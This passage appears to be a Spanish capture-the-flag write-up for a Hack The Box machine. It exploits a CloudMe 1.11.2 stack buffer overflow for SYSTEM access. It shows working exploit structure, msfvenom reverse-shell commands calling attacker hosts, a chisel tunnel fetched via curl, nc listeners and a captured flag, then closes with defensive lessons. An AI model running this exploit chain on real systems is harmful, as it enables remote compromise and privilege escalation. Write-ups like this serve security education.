6D619117 FFE4 JMP ESPAhí está la instrucción, exactamente donde decía mona. Se sustituye el b"B"*4 del exploit por la dirección:
cat exploit.py
python3 exploit.py
ip_address = "127.0.0.1"
offset = 1052
before_eip = b"A"*offset
eip = b"\x17\x91\x61\x6d"
EBX 41414141
ESP 0022AB50
EIP 6D619117 qsqlite.6D619117El EIP ya no es basura: contiene la dirección del jmp ESP dentro de qsqlite.dll, y el depurador ha parado en el breakpoint. La ejecución está donde queríamos, y lo siguiente que corra será lo que haya en el ESP.
Shellcode: de la parada al control
Ese hueco lo rellena msfvenom con una reverse shell, excluyendo el \x00:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.80 LPORT=4444 --platform windows -a x86 -f c -b "\x00"
Found 11 compatible encoders
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
Payload size: 351 bytes
Final size of c file: 1506 bytes
unsigned char buf[] =
"\xb8\x62\x28\xa1\x71\xdd\xc4\xd9\x74\x24\xf4\x5a\x29\xc9"
...Entre la dirección de salto y el shellcode se intercala un colchón de NOPs (\x90, la instrucción que no hace nada). No es superstición: los codificadores como shikata_ga_nai se descifran a sí mismos en tiempo de ejecución y necesitan unos bytes de margen para hacerlo sin pisarse. La estructura final queda "A"*1052 + jmp_esp + NOPs + shellcode, y contra el laboratorio funciona:
python3 exploit.py
sudo rlwrap nc -nlvp 4444
whoami
nops = b"\x90"*16
payload = before_eip + eip + nops + shellcode
listening on [any] 4444 ...
connect to [192.168.1.80] from (UNKNOWN) [192.168.1.203] 49544
Microsoft Windows [Versión 6.1.7600]
C:\Users\usuario\AppData\Local\Programs\CloudMe\CloudMe>whoami
win-l3dih73as4r\usuarioEl desarrollo está cerrado. Ahora hay que llevarlo a la máquina real.
Del laboratorio a la víctima
Dos cambios. El primero, el shellcode: el del laboratorio llamaba a 192.168.1.80, así que se regenera apuntando al atacante de HTB, y esta vez con EXITFUNC=thread para que al terminar la shell el proceso de CloudMe no se lleve por delante el servicio entero:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.2 LPORT=443 --platform windows -a x86 -f c EXITFUNC=thread -b "\x00"
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
Payload size: 351 bytes
Final size of c file: 1506 bytes
unsigned char buf[] =
"\xbe\xe9\xf9\x0d\xd4\xda\xc7\xd9\x74\x24\xf4\x5a\x29\xc9"
...El segundo cambio es menos evidente: la dirección del jmp ESP del laboratorio no vale contra la víctima.
sudo nano exploit.py
cat exploit.py
ip_address = "127.0.0.1"
offset = 1052
before_eip = b"A"*offset
eip = b"\x7b\x8a\xa9\x68"
nops = b"\x90"*16
#sub_esp = b"\x83\xEC\x10"La causa exacta no se puede afirmar sin depurar la máquina real (algo que aquí no es posible), pero el indicio apunta a los permisos de la página: los cuatro punteros que encontró mona en el laboratorio estaban en PAGE_EXECUTE_WRITECOPY, mientras que la nueva dirección, 0x68a98a7b, cae en el mismo rango que el 0x68a842b5 del PoC público, es decir, en otro de los módulos que trae CloudMe. La moraleja práctica es la que se repite en cualquier desarrollo de exploits: la dirección de retorno es lo primero que hay que revisar cuando un exploit que funcionaba deja de funcionar.
Falta lo de siempre, alcanzar el 127.0.0.1:8888 de la víctima. Mismo túnel que en el laboratorio, pero ahora el binario es windows_amd64 (la víctima es de 64 bits) y hay que subirlo:
wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_windows_amd64.gz &>/dev/null; ls
gunzip chisel_1.7.7_windows_amd64.gz &>/dev/null
mv chisel_1.7.7_windows_amd64 chisel.exe
python3 -m http.server 8080curl http://10.10.16.2:8080/chisel.exe -o chisel.exe
dir
# ls -la | grep chisel
-rw-r--r-- 1 root root 8230912 Jan 31 2022 chisel.exe
# python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.10.10.198 - - [04/Sep/2025 14:40:18] "GET /chisel.exe HTTP/1.1" 200 -
C:\Windows\Temp\privesc>dir
04/09/2025 13:40 8,230,912 chisel.exe# atacante
chisel server --reverse -p 1234chisel.exe client 10.10.16.2:1234 R:8888:127.0.0.1:8888
2025/09/04 14:42:17 server: Reverse tunnelling enabled
2025/09/04 14:42:17 server: Fingerprint 90q0ww41xHo6dCXV/Hmp0EbaXDZDS3/pL6Kry/Btqok=
2025/09/04 14:42:17 server: Listening on http://0.0.0.0:1234
2025/09/04 14:47:00 server: session#1: tun: proxy#R:8888⇒8888: Listening
C:\Windows\Temp\privesc>chisel.exe client 10.10.16.2:1234 R:8888:127.0.0.1:8888
2025/09/04 13:47:00 client: Connecting to ws://10.10.16.2:1234
2025/09/04 13:47:01 client: Connected (Latency 104.4591ms)Con el túnel activo, el exploit sigue apuntando a 127.0.0.1:8888, que ahora sale por el túnel hacia CloudMe en la víctima. Y como el servicio corre con la cuenta del sistema, la shell que vuelve no es la de shaun:
python3 exploit.py
sudo rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.10.198] 49905
Microsoft Windows [Version 10.0.17134.1610]
C:\Windows\system32>cd C:\Users
C:\Users>dir
20/07/2025 12:08 <DIR> Administrator
16/06/2020 15:08 <DIR> Public
16/06/2020 15:11 <DIR> shaun
C:\Users\Administrator\Desktop>type root.txt
9d073d77af609f73aaabfb71aec7ef93Cadena de ataque
Gym Management Software 1.0 (:8080)
│ upload no autenticado: webshell .php.png (magic bytes PNG + Content-Type)
▼
RCE como shaun → nc.exe por SMB → user.txt
│ winPEAS → CloudMe 1.11.2 en 127.0.0.1:8888 (loopback)
▼
laboratorio Win7: offset 1052 → bad chars (ninguno) → jmp ESP → shellcode
│ chisel: túnel inverso R:8888:127.0.0.1:8888
▼
exploit a 127.0.0.1:8888 → NT AUTHORITY\SYSTEM → root.txtLecciones aprendidas
- Validar imágenes por magic bytes y
Content-Typeno basta. Una webshell.php.pngcon cabecera PNG burla esos controles; hay que servir lo subido desde una carpeta sin ejecución y validar extensión real (subida a RCE). - El exploit público es documentación, no atajo. Leer
48506.pyantes de lanzarlo es lo que explica por qué funciona la doble extensión, y leer48389.pysin usarlo da un control contra el que verificar los números propios. Copiar y pegar habría dado la máquina igual, sin aprender nada. - Un servicio en loopback no es un servicio seguro. CloudMe solo escuchaba en
127.0.0.1, pero con una shell local y un túnel (chisel) se vuelve alcanzable. La defensa real es parchear y no ejecutar software vulnerable, no confiar en que "no se ve desde fuera". - Replicar el objetivo en un laboratorio propio es la mitad del trabajo. Depurar contra producción tumba el servicio en cada intento; montar CloudMe 1.11.2 en un Windows 7 permitió iterar sin límite. El precio es que lo medido en el laboratorio no siempre se traslada tal cual, como demostró la dirección de retorno.
- Los desbordamientos de pila siguen vivos en software de escritorio. CloudMe 1.11.2 cargaba sus propias DLL sin ASLR, Rebase ni SafeSEH, mientras las del sistema iban con todo activado: un
jmp ESPen una de ellas bastó. Compilar con DEP/ASLR/stack canaries corta el vector.